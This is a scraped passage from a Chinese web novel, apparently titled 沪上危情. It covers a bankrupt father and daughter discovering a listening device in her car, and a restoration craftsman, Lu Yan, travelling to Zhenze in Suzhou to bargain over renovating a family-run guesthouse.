做完一切,拨通了老刘的电话,话里话外共计不到一分钟,她却听出了全貌——他准备从古建师傅降格成装修师傅。 “这学期还没结束......我也可以跟去哦!” “你就在这,得空了帮忙养花,我回来了结账。” 陆砚松了松肩膀,挣开了很多枷锁。 这次他只准备喊张野,冯小军,没通过测试,以后缘分就到头了。 说起测试,这招还是跟杨灵学的...... 她啊,一下子就变成了遥远的人呢。 “苏棠。” “怎么了?” “阴戳戳的笑容不要太明显咯,你敢事后挖我的信封,以后我就不去你家花店了。” “陆砚!” 世上伤心人不止他一个,刚刚找手套的时候老陆打来电话,表姐的婚礼又泡汤了...... 最后回头看一眼老洋房,将花束安放好后,前院有了几分生机。 他的离去就要开始倒计时了。 ...... 来上海打工的年轻人很多,他们以为自己是娃娃机上的夹子,可以在金山银山捞上一笔带回家。 可人怎么能是夹子呢? 当夹子能舒服? 渴望物质的人因为意志不坚定,成功物化了自己和自己的思想—— 遥远的理想、心中的渴望,纷纷标了价格,他们和她们或严肃、或谄媚,总之变着法的声张一件事—— 快来买! 同时他们眼里,其他人也都标好了价,等存够了钱,就上去问问,卖不卖...... 在全然没有活泼气色的中午醒来,张野按开出租屋的灯,灯泡似乎也醉得不轻,一弹一闪,悠悠转醒。 换了个惬意的姿势半卧在床头,见没工作消息,便乐滋滋点份外卖,刷起短视频。 哎,要是昨天那个不吃香菜,有屏幕里的婆娘那么会扭腰跳舞就好了。 砸吧砸吧嘴,喝了口水。 水淡得像湿润的空气,喝下去不仅感受不到水,甚至感受不到自己。 这样不行。 他赶紧取消了拼好饭订单,转而点了烧烤和啤酒。 一切准备就绪的时候,怎么能没有陪客呢? 翻动冯小军的电话,正要拨通时,陆砚打了进来: “张哥,这段时间有空吗?” “有啊。” 张野想都不想就知道自己有空,因为他从不规划明天的事。 这一点,纵是十年月光族,也比不了。 哦对了,他可不是月光族,他的工资偶尔要两三个月发。 “我接了个活,钱不多,苏州你去不去?” “去啊。” 去啊,有什么去不得的。 天天喝得到啤酒,缅甸老挝也能去。 “......好,明天中午我来接你,收好东西。” “没问题。” 诶?去哪来着? 苏州......是江西还是广东? 等等,好像是老家怒江旁边的山沟沟...... 想了想,舌头砸吧出了几分滋味,接着,掏出电话致电冯小军。 ...... 这栋房子是悲凉的,能搬的,被好几伙人搬了去。 而现在,随着顾明远和银行人员交接完毕,房子的归属也就正式易主了。 “不是跟你说,不用来了吗。” 这章没有结束,请点击下一页继续阅读!他仿佛是眼前的别墅,不欢迎陌生人造访。 可是顾南乔怎么能不来呢? “我的车,也要收缴。” 顾明远没有作答。 父女俩站在门口,看着一个个身着黑色西装的工作人员进进出出,好似在观看蚂蚁搬家,倒也有趣。 只是不知,他们这两只蚂蚁,日后该搬到何处去。 老顾让她自己找地方住,她理解,也认同。 自己以后挤在小套间里也就罢了,若再亲眼看着老顾也落得这般境地,真不知两人谁会先崩溃。 要知道,住惯别墅、请着住家阿姨的人,即使搬到大平层,也会有巨大落差的。 车辆的资产核验说快不快,不过好在有不少专业评估人士在场,也算幸运,节约了大家,宝贵的时间。 “每月五万块够用吗?” 中年男人眼中流露出一丝怜惜。 即便眼前之人几乎将自己推向绝境,他还是更愿意看重那份血缘关系。 “都说了我不用,我有工作。” 这便是生活的可笑之处—— 所谓从上层阶级跌落的巨大打击,却依然能让他们衣食无忧,甚至比多数普通人还要优渥。 毕竟家族信托基金有着千万级别的体量,在他们看来,每月五万块不过是九牛一毛,连续领十年,也才六百万而已。 “爸爸现在就只剩这点东西了,连一般家庭能给的嫁妆都拿不出来……收下吧。” “我不要——” “顾女士,这是从您车上找出来的。” 一个黑色的匣子被工作人员拿在手上。 “应该是窃听器。” 顾南乔的脑袋一下子炸了锅,混乱的记忆开始回访。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第一百三十七章 约定 半清晰半朦胧的记忆里,陆砚出院第一天,她回静安别墅,遇到债主堵门。 第二天,顾南乔接到了顾明远电话,让她过去。 听筒里父亲的声音很轻,听不出情绪,她却松了口气,甚至脚步都轻快了些——或许事情没那么糟? 她又一次往静安别墅去,车刚拐进巷口,就看见院门口堆着半旧的樟木箱,几个工人正扛着紫檀餐桌往外走,木腿磕在石板路上,发出沉闷的‘咚咚’声。 推开门时,空气里浮着灰。 顾明远倚靠着仅剩的一张藤椅,背对她,晨光透过窗棂落在他肩上,竟晃出些花白的碎影。 他抬手揉了揉眉心,指节抵着太阳穴,那是年轻时谈生意熬到天亮才会有的动作。 “爸?” 顾南乔的声音卡在喉咙里。 顾明远缓缓转过身。 眼底的红血丝像爬满了蛛网,眼下的青黑重得像被人打了一拳,往日里总是挺直的肩背,此刻塌着,像被抽走了骨头。 “来了。” 男人扯了扯嘴角,笑意没到眼底,“外面在搬些不值钱的旧物,别管他们。” 她想问‘这是要去哪’,又想问‘是不是情况好转了’,可看着父亲疲惫的脸,话全堵在了舌尖。 倒是顾明远先开口:“事,我会兜住。只是往后……怕是顾不上你了。” 顾南乔猛地攥紧衣角:“兜住?怎么兜?上周你不是说……” “上周是上周。” 他出声打断,从口袋里摸出个信封,推到她面前,“家里那笔信托还在,不多,但够你安安稳稳过下半辈子。找个喜欢的人嫁了,过点踏实日子,爸没意见。” “我不要这些!” 她抓起信封又摔回去,纸张散落一地,“你到底要怎么处理?那些债主呢?你跟我说的那个会……” 顾明远看着她,眼神里有她看不懂的复杂,像惋惜,又像释然。 “乔乔,”他慢慢说,“爸爸只盼你好好生活,别再管这些事了。” “怎么不管?”她急得眼眶发红,“那是我们家的事!到底怎么了?是不是有人……” “消息被泄了。” 顾明远突然说。 声音很轻,却像块冰砸进滚油里。 “我这辈子,没机会翻身了。” 他的目光落在脸上,不重,却带着种无形的压力,像网一样罩下来。 顾南乔浑身一僵,下意识后退半步:“不是我!我没跟任何人说过……” “没关系。”顾明远笑了笑,比哭还难看,“是谁都一样。” 那语气里的‘笃定’像针,猝不及防扎进顾南乔心里。 她拼命想证明自己,脑子里却‘嗡’的一声——在车几天前里,她跟杨灵提过一嘴,说‘爸爸好像找到办法了,过阵子可能就好了’。 当时杨灵歪着头说,‘太好了,这下你和叔叔都能......开心睡个好觉了’。 ……除此之外,她没跟任何人说过。 顾南乔突然站不住,后背抵着冰冷的墙,指尖发麻,从指尖一直凉到心口。 怎么会是灵灵? 那个跟她睡一张床、分享第一块巧克力、说要当她伴娘的灵灵? 她们家当年缺钱,是爸爸拉了他们家一把…… “想什么呢?” 顾明远的声音把她拽回来。 他站起身,走到她面前,第一次用这样严肃的眼神看她,像在审视一件即将离手的器物。 “这就是你没见过的世界,乔乔。每个人都可能是凶手,披着朋友的皮,揣着亲人的脸。” 顾南乔的眼泪突然掉下来,砸在地上的信纸上,晕开小片湿痕。 “不是的……” 她摇头,却没力气说出完整的话。 “抬起头。”顾明远的声音硬起来,“从今往后,没人会可怜你。你得丢了那些幻想——对朋友的,对爱人的,甚至……对父母。” “不可能!” 她猛地抬头,泪水糊了满脸,“你是我爸爸!” “我是你爸爸。”顾明远看着她,眼底闪过一丝痛惜,却很快被冷硬覆盖,“可你真觉得,苦日子过久了,我就一定值得相信?” 她想反驳,想说‘你不会’,可话刚到嘴边,就被父亲打断。 “不管你信不信,这是我教你的最后一课。” 他拍了拍她的肩,力道很重,像在刻下什么印记,“丢了幻想,去争,去抢。这世上没有好东西是站着等来的。” 顿了顿,目光扫过空荡荡的客厅,像在看多年前那个清晨—— 他说: “你要多看看,那些你以为‘天经地义’的,换个地方就可能什么都不是。你要学会好好活,看清楚‘道德’最本来的样子——那才是真的道德。” 这些话,顾南乔记起来了。 出国那天,父亲也是这样跟她说的,只是那时最后还加了句软话: ‘乔乔,每天给爸打个电话,咱们没时差,我一直有空……’ 可现在没有软话了。 顾明远转身拿起椅背上的外套,“过几天后,这房子就不是咱们的了。你不用过来,也别找我,咱们各找地方住。灵灵昨天打了电话,我托她照看着你,她答应了。” 这章没有结束,请点击下一页继续阅读!“灵灵?” 顾南乔像被烫到一样缩回手。 心口那点残存的暖意瞬间冻成了冰,顺着血管往四肢蔓延。 为什么偏偏是昨天? 为什么她早不打晚不打,偏偏在这个时候打电话? 明明台风天,她还顶着大雨送杨灵去医院...... 逻辑像条冰冷的蛇,一点点缠上来,勒得她喘不过气。 她不愿相信,却找不到第二个解释。那个她掏心掏肺待了十多年的朋友...... 不对! 手机!还有手机没检查! 也许被人装了监控软件...... 债主派的工人不停搬着东西,顾南乔站在原地,看着父亲的背影消失在门口,突然觉得这栋住了二十多年的房子,陌生得像从来没来过。 ...... 她经常检查车子底盘,怕装了定位仪,被人找上家门; 检查了手机,发现信息并没有被泄露,于是不得不相信,杨灵背叛了她。 独独没想到,生活竟是如此爱捉弄—— 那个窃听器……张羌…… 她想起了三人一起吃饭的时候,张羌说过‘类似六起案件,他目前百分百完成委托’。 原来如此,现在看来还真是百分百。 呵,自己明明是想套他的话,才存心接近,没想到竟输得一塌涂地。 她想起了在杨灵家喝到断片的那天,拿酒瓶对着陆砚,恶狠狠地质问,有没有和灵灵做过对不起她的事...... 想起了被怀疑吞噬的自己,破除底线,伤害了无辜好友的自己...... “嗡嗡——” 她拿起手机,是陆砚。 ...... “乔乔。” “......昨天我。” “我还想请你帮个忙。” 咖啡店员把两份饮品端上来,一份热牛奶,一份果蔬茶。 可惜,果蔬茶不是蔬菜汁。 “说吧。” “帮忙照顾好灵灵。” 说完,陆砚本以为她会感到抗拒,甚至会对自己破口大骂,诸如: ‘我凭什么帮你?我就那么闲吗?’,‘你有多大的脸来求我?’。 可是她点了头,然后问: “你们现在怎么样了?” 怎么样了? 已经不敢奢求怎么样了。 满身罪孽的他,再起任何心思,都要遭到全世界的唾弃。 “我......现在只想离开她。所以乔乔,不管这个人情算得多大都可以,你务必帮我照顾......不,只要确保她平平安安,就好。” 照顾一个人是何其困难的事情,照顾一个人,是需要花费何其多时间的事情,甚至有可能是一辈子的事情。 所以,只要平平安安就好。 不管她会和谁在一起,都比不上前者重要。 “陆砚......你真的,真的,决定放弃这段感情了吗?” “真的。” 他说得很坚定。 他知道现在应该做什么。 “陆......如果你需要,我会全力帮你......挽回。即使是下跪磕头,一直磕到她原谅,我也愿意。” 陆砚看着她俏白的脸,眼睛里是世界上最真诚的情意。 他的眼角微微发酸,忍了又忍,却又觉得在这种情感上,忍着,便是亵渎。 于是他敞开了眼泪,眼泪之下,是一个人所有的自尊,和毫无保留的信任。 “乔乔,我爱着杨灵,甚至从没有此刻,这般爱着她......你知道吧?” “嗯。” “所以即使我们分手了,我也会像和她在一起的时候那样,你知道吧?” “嗯。” “而且,尤其是你,长得太漂亮了、离得太近了,我也要捶你的,你知道吧?” “......嗯。” 顾南乔忍着悲,清晰的知道,他们可能连朋友也做不成了。 于是说:“我答应你,确保灵灵平平安安,你也要答应我一件事。” “好,你说。” “如果......如果有一天,我们碰巧遇见,那就给我个拥抱吧。” “好。” (第一卷完) 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第一章 开局总是这个样子 马里亚纳海沟蠢笨的水母都能知道,贸然申报出一个月远门的结果——自然要被家中父母强硬驳回。 尤其是爸妈总说‘大四该收心考公’,要是知道她要跑到苏州待上一个月,怕是天天能拖着她的行李箱去开店。 但是苏棠做足了准备,利用信息差准备先斩后奏,悄摸收好了行李,同时暗中联络了张师傅,提前得知了他们集合的地点。 哼哼,一颗想自由的心是拦不住的! 背了个大号旅行包和吉他,拉着行李箱,磕磕绊绊走出小区,上了网约车。 “尾号。” “9527。” 苏棠报出数字,指尖在膝盖上抠着外套的线头。 车窗外的梧桐树落了满地叶子,她看着熟悉的街景一点点后退,从背包侧袋摸出耳机戴上。 网上攻略描绘得很美好,苏州的河、评弹的调、能弹琴的石阶……像电影画面在眼前晃。 她把车窗降下一条缝,十一月的风灌进来,带着凉意,还未远行,竟已经开始想家。 ...... “陆哥,真不带着小苏啊?” 张野和冯小军在后座,脚下踩着三大个工具箱,尽管设备托管中心还有部分工具没取出来,但只是装修的活,他们准备得很充分。 “不带。” 即使是小苏,那也是漂亮女人,漂亮女人什么的,统统远离。 眼看冯小军刚上车就带着一个卡在脖子上的、女孩子家家的东西、准备睡觉,张野拍了拍他,让查找一下当地旅游攻略。 ‘大学生,肯定比我自己动手效率高’,他是这样说的。 “吴江区,震泽镇......是吧?” 陆砚想了想,“对。” 然后冯小军就打开了某音—— “小军,大学生,你找资料和我差不多啊?” “哎张哥,不管娱乐还是找资料,这就是最方便、最效率的软件啊!” 震泽镇位于江苏苏州的吴江区,重文化,是全国有名的蚕丝之乡。 再之后,他们就偏了题,两人刷起当地美女才艺视频。 大半个半小时后,收到苏棠的咒骂短信,才眼神清醒—— 他们是要去做什么来着? “陆哥,这活谈好了吗?” 陆砚目不斜视,“朋友介绍的,应该没问题......对了,这次是一对娘俩经营的民宿,要有心理准备。” 民宿? 张野无所谓,看向冯小军,冯小军也无所谓。 张野赚到钱就行,不挑;冯小军土木工程......如今环境,也不挑。 “我去,江南水乡,苏州姑娘,民宿,光是想想我都觉得美好。” “张哥,上海也是江南水乡。” “...” 车不断往前,霓虹渐稀,高架桥下的棚户区露出灰扑扑的顶。 锈栅,断阶,褪色的招牌,卷着边角。 路口的修车摊支着帆布,老板蹲在路边拧扳手。 显然这里卖不出四十块一杯的咖啡—— 朋友们,不管城市的名号多响亮,多高不可攀,依然会有生活在尘埃里的人,为繁华陪衬。 究竟是那么一尖被反复雕花的地方,能代表上海,还是眼前一栋栋破落的楼房,长满裂口的马路,一眼衰败的街道和苍蝇馆子,更能代表上海呢? 陆砚觉得,后者,更能代表他所生活的地方。 所以车入苏州地界,初见水墨画般的景致时,他没有过于兴奋。 但不可否认它的魅力: 河流像银带绕着白墙黑瓦,岸边芦苇垂在水面,摇橹船划过的波纹里,还浮着几片未落的银杏。 可再往震泽镇深处走,滤镜如期碎了—— 沿街的卷帘门一半拉着,褪色的广告牌歪在墙上,穿睡衣的妇人在巷口择菜,塑料盆里的水泼在青石板上,溅起混着落叶的水花。 这才是真实的江南,褪去诗意后,和任何一个四线小镇一样,藏着柴米油盐的粗粝。 ...... 正午的风裹着桑田的暖意,吹得沈语棠的马尾辫梢动荡。 她站在民宿褪色的木门前,脚边的石砖缺了角,露出里面的黄土。 目光越过门前那片收割完的稻田,田埂上的枯草被风卷成小团,滚向远处坑洼的水泥路。 然后目光钉在路尽头的拐弯处。 那里立着根歪斜的电线杆,杆上的铁皮广告牌印着褪色的‘南浦浜村农家乐’字样。 她们家这民宿,说在震泽镇,却更像被镇子遗忘的尾巴,往南走两里地就是南浦浜村的桑园,往北到古镇景区要骑半小时电动车,客人总说‘难找’,来了也多是奔着便宜。 母亲正在厨房蒸糯米,为午饭的焐酥豆做准备,蒸汽混着桑柴的烟从烟囱钻出来,足以驱散冬季的寒意。 路边的狗吠了两声,沈语棠的心猛地提起来。 远远有车轮喧嚣自拐弯处传来,她下意识地理了理衣襟。 车拐过来了,才发觉是辆农用三轮车,车斗里装着捆桑枝,骑车的李老汉冲她挥挥手,是南浦浜村的蚕农。 这章没有结束,请点击下一页继续阅读!“师傅们说十二点到,”母亲的声音比平时低,“你站门口等也没用,不如进屋休息一会。” 她没回话,只是把目光又投向那个拐弯。 心里像揣着颗刚结的蚕茧,又硬又涩,却偏有丝微弱的光,在壳里悄悄动着—— 万一呢? 万一这老房子能被那些上海师傅修得像样些,万一以后能多来几个客人...... 路的尽头,一片暖光。 终于又响起车轮压过地面、碾碎结根的声音,这次更重,更响。 女孩睁大了眼睛,是一辆比三轮车大了好几圈,能坐更多人,能拉更多捆桑枝的车。 她已经看真切,驾驶位上的男人戴着一副墨镜。 她有预感,就是这辆了。 车上三人听见‘现已到达目的地,导航到此结束’的播报声,又伸头往窗外望了望,人都傻了。 尤其是陆砚,他的世界里,路边的田埂几乎就是一片漆黑,不知道是血压上涌,还是墨镜质量太好...... 总之,和想象中的——注意,他已经有棚户区的心理预期了—— 和想象中的差得有点大啊! 车子缓缓停稳,风扬起女孩身上的围裙,发动机‘嗡嗡’声持续了一会,陆砚深吸一口气,摘下墨镜。 ‘咔嗒’,车门锁芯弹开的轻响。 褐色工靴磕在地面,膝盖顶开车门,利落迈出来。 陆砚站直了,抬手解围巾: “小姑娘,这里是......民宿吗?” 女孩站在石板上,木门前,阳光把一切都描述得明白: 脸蛋不算顶好看,可胜在干净,眉眼是江南常见的淡。 就是......不爱说话,还一个劲盯着人的裤子看,这是哪门子打量法? “你进去歇着。” 从门后走出个女人,伸手将愣愣的女孩拽进屋。 那是一个脸上写着惫态,惫态皱纹中透露平静的中年女人,身材不高,一步跨过门槛时,腰杆崩得直,干练极了。 张野和冯小军陆续下车,站在旁边。 “是陆师傅吗。” “是。” “先进来吧。” “好。” 既来之则安之,看来不管赚不赚钱,今天吃住是有着落了。 陆砚示意一下车就闭麦的两人跟上,随后踏进这间民房——人与人的视角是不一样的—— 进门扫了一圈,又向上看,顿时心里便清晰了七七八八: 四十来平米的开阔空间摆着桌子板凳,水泥地有开裂,右手边有扶梯,屋顶是裸露的木梁结构。 根据外面估算的面积,透过大厅尽头,里屋应该有七十个平方左右。 中年女人招呼他们坐下,方才那个呆愣的女孩为其一一端来瓷碗,里面有绿茶。 陆砚的风格向来直接,正打算了解情况的时候,有个未知电话打过来。 “喂?” “陆砚!你个渣男!为什么丢下我自己走了!” 他的手机一直没机会换......听筒...... 语毕,技惊四座。 “苏棠,你......” “我不管,我行李都带出来了,你快发位置我打车过——” 电话挂断,陆砚一整个大无语。 好在老师傅也是经历过风浪的人,轻咳一声准备翻篇,不了对面坐的那女人先说: “语棠,去后院待着,这里不需要你。” “...” 苏棠......语棠...... 即使现在陆砚双目失明,也能看出对方的戒备心。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第二章 小小的博弈 临近傍晚,苏棠一脸衰样回家,好在她妈妈还没回来,确认安全后,一进门把自己关在房间狠狠咒骂那个男人。 是说出发赶路怎么会约在中午呢,原来是自己被骗了。 张师傅经常对自己露出谄媚面容,肯定不会撒谎......那么想来想去,害自己冒着生命危险白跑一趟的凶手就只有一个了...... 他现在就这么会说谎,那以后还得了?再发展下去搞不好会被骗财骗色! 等等,好像还没加微信。 甚至看样子,连自己的电话都没存...... 真是没礼貌的渣男! 她躺在床上,没有犹豫,发出好友申请。 ...... “民宿是拿老宅改的,前厅后灶,一百三十个平方,三层楼,七间客房。” “需要怎么装,预算多少。” “尽可能换个面貌吧......不过刘永军可能没给你说明白,这事我们都拖大半年了,属于可装可不装。” 进门右手边是扶梯,左边手则是他们此时坐着的地方,姑且称作公共区—— 墙边放了一排搁架,搁架对面是张长条形木桌,桌旁围了六把椅子,两把是藤条椅,四把是榉木椅,而且最少有一把榉木椅靠背是松的。 陆砚从椅子上坐直,思忖‘可装可不装’的含义。 害,老板娘还挺装的。 不过在商言商,撑着面子用谈判技巧杀价无可厚非,他没有戳破、也没有迎合: “您也了解一下我们的情况吧。我叫陆砚,同济毕业,本职古建修复,一级证,地方级非遗传承人。二十岁开始跑项目,距今......八年从业经验。另外两个是张野和冯小军,他们——” “行了陆师傅,我听不懂这些,也知道你是高精尖人才,小店怕是付不起工钱...... 不过你们远道而来,即使谈不拢,今天的吃住肯定是会招待的。” 女人的肩背有些前倾,眼角纹路很深,瞳仁是深褐色的,像长漾湖底的淤泥。 陆砚再次感受到对面的精明市侩—— 既不让他抬高身价,还出言打压后,看似大方地把人留住。 好吧,有点意思。 “老板娘,刘师傅应该给你打过电话吧,你们是怎么说的。” “能怎么说?一个勒拉上海,一个勒拉乡下头,哪能讲啦?无非就是我随口一提,他随口一问......好啦,你们先喝口茶,我们这里讲究四碗茶,这绿茶你们吃吃看。” 打了感情牌,女人面色果然舒展了些。 台要互相有心才搭得起来,陆砚他们慢慢端起瓷碗,长桌对面便接着说: “我们是有装修的打算,但是预算怎么都不算多......” 又来了。 这时候陆砚已经有点懒得绕了,没接话茬,径直说道: “装修得好的民宿,像‘西坡·震泽’,房间卖出了文化价值,一晚上千元。不可否认他们的位置确实好。 但就这附近,周围的价格也普遍比你们高一两百左右,老板娘,事后利润你比我会算。” 装修一次,最少五到十年要管,而他们回本,一到两年足以。 何况,他知道的信息远比对方以为得多,甚至明白对方想要怎样的效果,但此刻也没有把话全部说完—— 是来商谈的,和气生财。 却不想女人怒了。 “生意本来就没个准,照你这么算,难不成装完就保准赚钱?赚不到你补给我?装修的时候不耽误做生意的呀?” 无理的话术把冯小军看呆了。 又不是他们求着上门,你自己有需求啊! 见状,陆砚必须把控谈话节奏,语气缓了缓: “老板娘,来点凉水吧,凉水解渴。” 她点点头,向后面走去。 脚步渐隐,顿时,旁边两人松了口气。 “我去!” 没错,张野也紧张。 毕竟现在没喝酒,他是戴着社会面具,面具紧张,他就紧张。 陆砚乐呵呵瞧着他:“怎么了张哥,水土不服啊?” “不服不行啊,这,这......小军,你来接上!” 接什么?每次张师傅讲话都不太准确,他很难办啊! 冯小军不太自信的说:“这,这里的山路十八弯?” 弯个头!还有,调不对啊! 张野顿了一会,趁老板娘不在,压低声音说: “陆哥......苏州原来也不远啊,而且没网上传得那么好,就比我家那边的大山好一点。” 额...... 他们在的震泽镇毕竟只是苏州吴江区的一下属城镇,而此处......在城镇的边缘,和某某村接壤。 路边的田埂足以说明一切。 美如画的烟雨江南,还是想象吧。 沈秀娥再出来时,手里稳稳端着三盏粗瓷茶杯,水漫到杯沿,却没晃出半滴。 她步子迈得急,青布鞋底在水泥地上踏出‘噔噔’响,杯子却像长在手上似的,手腕连带着小臂几乎不见晃动。 本小章还未完,请点击下一页继续阅读后面精彩内容!“早上刚烧的井水。” 三个男人连忙起身接杯子。 陆砚估摸对方已经冷静下来,正准备接着刚才话题聊,结果—— “沈老板!热水器又出毛病了!” 一位住客往下走,说话间带着不耐烦。 沈秀娥‘哎’了一声,脚尖在原地拧了个小圈,往右边扶梯走去,快得连背影都带着股风。 留下陆砚他们,面面相觑。 ...... 苏棠的好友申请晚上才通过,吃完饭她立马躲房间里打视频电话。 这次不社恐了—— 看了看床边的红色手环,对面是熟人嘛! 手机屏幕大大方方出现了自己美丽的脸庞,画面后面,露出一截勾着的脚心。 不行,还没到发福利的阶段,她赶紧爬起来,靠床端庄坐好。 对面接通。 “陆砚!你还真敢跑啊!” 喊他的名字苏棠还是有点不好意思,但真脱口而出的时候,又莫名有点刺激。 于是脸上红扑扑的——对面那头肯定会以为她是气的。 事实上,下午大老远跑人民广场白等半个小时,也确实气。 “苏棠,吃鸡腿不,啊——” 陆砚伸出筷子,逗她。 他很高兴有这样一个人,在离开熟悉地方的第一天,给打来视频电话。 “吃吃吃!你就知道吃!今天我在人民广场吃过鸡腿了!” “哦?怎么跑人民广场去了?那里路况多复杂啊,没走丢吧?” “我丢个......西瓜皮。” 好险,差点形象不保。 自己可是清纯女大那一挂的,趁对方年纪大有滤镜,装也要装得纯一点! “来给各位哥哥们打个招呼。” 男人把手机对象旁边两人。 看着画面里,正在吃饭的张野和冯小军,她竟然有些怀念他们一起吃饭的日子。 “小苏,来玩啊!” “嗨,小苏。” “冯小军你装什么?小苏也是你能叫的?” 用愤怒压下感动,她笑着让陆砚出来,直面镜头、迎接审判。 他坐在下午商谈的桌子旁,换了把藤条椅,靠着靠背,惬意道: “苏棠,花过几天帮我看看,兴许有能活的呢。” “切!我家那么多花,你来买不就是了!” “自己种的,肯定不一样呀。” “那我是不是还要每天跟你汇报状况啊。” “也行,看你。” 视频里,陆砚喝了口水,苏棠看着他,也吞咽了口水。 声音微微弱了半分,说: “哎呀麻烦死了,看我心情吧!” 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第三章 小聪明 生意还没谈妥,就先免费吃了一天老板娘的手艺。 甚至不管谈不谈得妥,她都答应了,免费让他们住一晚上。 事实上,这一定程度上会影响议价时的气势,但此为阳谋,躲不掉的。 而陆砚为什么还没谈拢就拉着人过来呢? 老板娘要是不乱了阵脚,肯定能分析出来——条件不是太差,他们基本会接受的。 他住的二楼单人间,冯小军和张野住隔壁的双人间。 晚上九点,陆砚把行李放好,洗完澡下楼,准备单独把事情定下来。 如果说老洋房是压轴大题,那么一个装修的生意对他而言就是试卷上、一道最简单的填空题,做与不做对个人发展意义不大——甚至难以纳入一级木作证书的考核工时。 现在之所以接受老刘的牵线搭桥,一是为了转移注意力,二是...... 算了,坦白承认,自己也有经济压力的成因。 下楼,前台是那个年轻女孩,应该是老板娘女儿。 “你好,老板娘在吗?” 褪去围兜后,身上套着件洗得发白的枣红色外套,领口别着枚银质小锁片。 她的眼神比苏棠有阅历,不过还是没逃过稚嫩范畴。 此刻看起来有点慌。 “姆妈......哦不,老板娘不在,她就快回来了呀。” 有种‘便利店买东西,门口小孩反手回一句,大人不在’的既视感,不过是震泽镇的小孩姐版本。 那么,给对方多留一点安全距离吧。 “我叫陆砚,从上海来的。”放缓了语速,“跟你妈妈约好来看看房子。” “沈语棠。”她飞快报上名字,“我晓得的,姆妈提过哉(方言里念zi,语气助词)。” 两人交换完姓名,便站在门口,不远不近的位置侧对着她,聊天。 “沈语棠,你经常帮忙照看店铺?” “是,现在主要就是搭把手,还、还有学手艺喏。” 她抬手指了指桌案上的缂丝绷架,丝线在灯光下若隐若现,“以后店里想添个类目,教客人做蚕桑缂(k,通刻)丝。” 话说得颠三倒四,蚕桑缂丝,尾音确实抖得像秋风里的缂丝。 陆砚这才留意到,小姑娘说话时总下意识地咬下唇,语速快得像在赶什么,又突然卡在某个词上,眼睛望着虚空,仿佛在跟自己较劲。 难道这就是所谓的,社恐? “缂丝?” “对呀,就是......就是......” 说到专业处,舌头反倒更打结,最后索性闭了嘴,把脸低下去,右手捏着竹制拨子一下一下往里按压丝线...... 他见过很多女性,成年以后害羞至此的,少有。 ...... 十一月中旬的夜来得早,田埂边的桑树影影绰绰站成一排,把月光筛成碎银洒在刚翻过的稻田里。 空气里浮着霜气,混着稻草垛的干香和远处鱼塘的腥甜,走在田埂上能听见自己的鞋跟碾过枯桑枝的脆响。 隔壁李家的媳妇正蹲在门槛上择菜,竹篮里是刚从自留地拔的青菜。 她边择边跟屋里的男人搭话,吴语的尾音散在风中: “夜钩冷得很,等下烧锅姜茶喏。” “阿琴!我来睃睃你。(来看你)” 沈秀娥此时恰到门前,手里端着盘子,盘上盖着布:“早上多蒸了笼糕,桑果汁和地面,甜津津的,给小宝尝个鲜。” 李媳妇刚要道谢,他已经眼尖地瞥见墙角竹篮里的青菜,叶子上还挂着湿泥。 “哎呦,你家这菜种得精神!我那后院小菜畦的霜打了,早上想炒个青菜都没新鲜的。” “秀娥姐你要不?” 话刚落音,女人已经从篮子里抽出一把最嫩的,菜根上的泥都没顾上刮,顺手就塞进自己围裙兜里。 ...... “可以啊,我二十岁的时候才刚开始修木头,你起步挺早的咯!” 门外一道身影赶了过来,步子不大,但密集得跟夏季的雨点似的。 “语棠你先去休息,我来就行了。” “好呀。” 看老板娘一脸护小鸡的模样,陆砚耸耸肩,率先走到大厅坐下。 藤椅‘吱呀’,他的背就陷入了靠背契合的弧度里——这椅子跟旧鞋一样,只要合适,便不会嫌弃其简陋。 身前长桌被磨得发黄,划痕不少,甚至有小孩笔触写下的‘不知名某南到此一游’。 ......而那位也是犟,故意耗在前台,装作若无其事。 难不成自己大老远离开上海,初来乍到第一晚,真是为了您素不相识的女儿而来? “老板娘,有空的话,咱们把事情聊完呗?” 他不介意丢掉一点谈判‘筹码’率先邀约,事实上,这些表面的东西真的在议价中有用吗? 确定不是属于心理学范畴的东西,加上商业包装后,写进书里的技巧? 她姗然过来,面上依然不在意,眼角皱纹严肃: “陆师傅,你们现在行情不好吧?” “对啊,不过大家行情都不好。” “是的,所以有些时候,顺手的事做了总比闲着好。” “像我这样的人都能闲着,那得十年一遇咯” 这句话不算吹牛。 假使他愿意单干,去别人那打工,最低最低15k的月薪,按工时算,赚钱效率则翻个番。 “那你们还过来做什么?” 呵......呵。 看来不是每个人都有良好涵养和理论化的谈判技巧,老板娘的一席话,任谁听了都会心生嫌隙。 陆砚也是,火一下就窜上来,不过面上不显,姿态悠然。 他只觉得对方愚蠢—— 要知道,这是合则双赢、斗则两输的事情,谁求着谁啊? 谈不成他们谁亏得更大还说不准呢! 其次,把人得罪了,事后偷工减料你一个外行看得出来? 已经很多年没和这样的甲方谈事情了,他笑了笑: “过来看看呗,顺便旅个游。” “...” 老板娘目光看向他处,仿佛那么多年的民宿生意,就没学过一点待人接物。 若用上帝视角看这次谈判,此时肯定属于博弈的拐点,谁先开口谁就得让利。 陆砚懒得周旋,老刘最开始说的时候,他就没打算能赚几个钱。 “谈谈你的报价吧,合理就做,不合理,房钱我们给你结,就当照顾朋友生意了。” 把合理两个字咬得略微重了点,这是暗示,他知道市场报价。 事实上,装修......和古建修复,在任何层面,都差得不是一星半点。 后者的每一个小部分拿出来,都够得上装修的难度。 里面的每一个弯弯绕绕拿出来,都比装修更能收费,而且能合理多收费。 所以,装修就是如此透明的一个行当——一百三十平,三楼,最低二十万,这是陆砚的底线。 “八万块。” “...” 头疼的来了。 小时候他跟着家里去地摊买衣服,人家说100元,他妈说5块。 陆砚后来问,明明知道不可能,为什么要说五元? 他妈拿着十五块拿到的衣服,得意的说,万一呢?万一呢? “做不了。” “八万五,做不了就算了。” 啊对对对,没收您五十万,没收您三十万,您还真把地摊还价的精髓搬上来了? 接下来是不是你装作要走,我痛心挽留啊? 我特么不是地摊摊主啊! 他气笑了,笑得很绅士: “再加点。” “我们也是小本生意......” 第四章 慢节奏 早晨七点的阳光打在窗前,他睁开了眼,看着陌生的天花板,久久没回过神。 疲惫,总在过度操劳后。 昨天居然真的,像摊贩那样扯皮,花了半个多小时,听了半个多小时女人绞尽脑汁、找尽角度想的借口。 当时理性的灵魂飘在空中,看着被托管的身体配合对方演戏—— 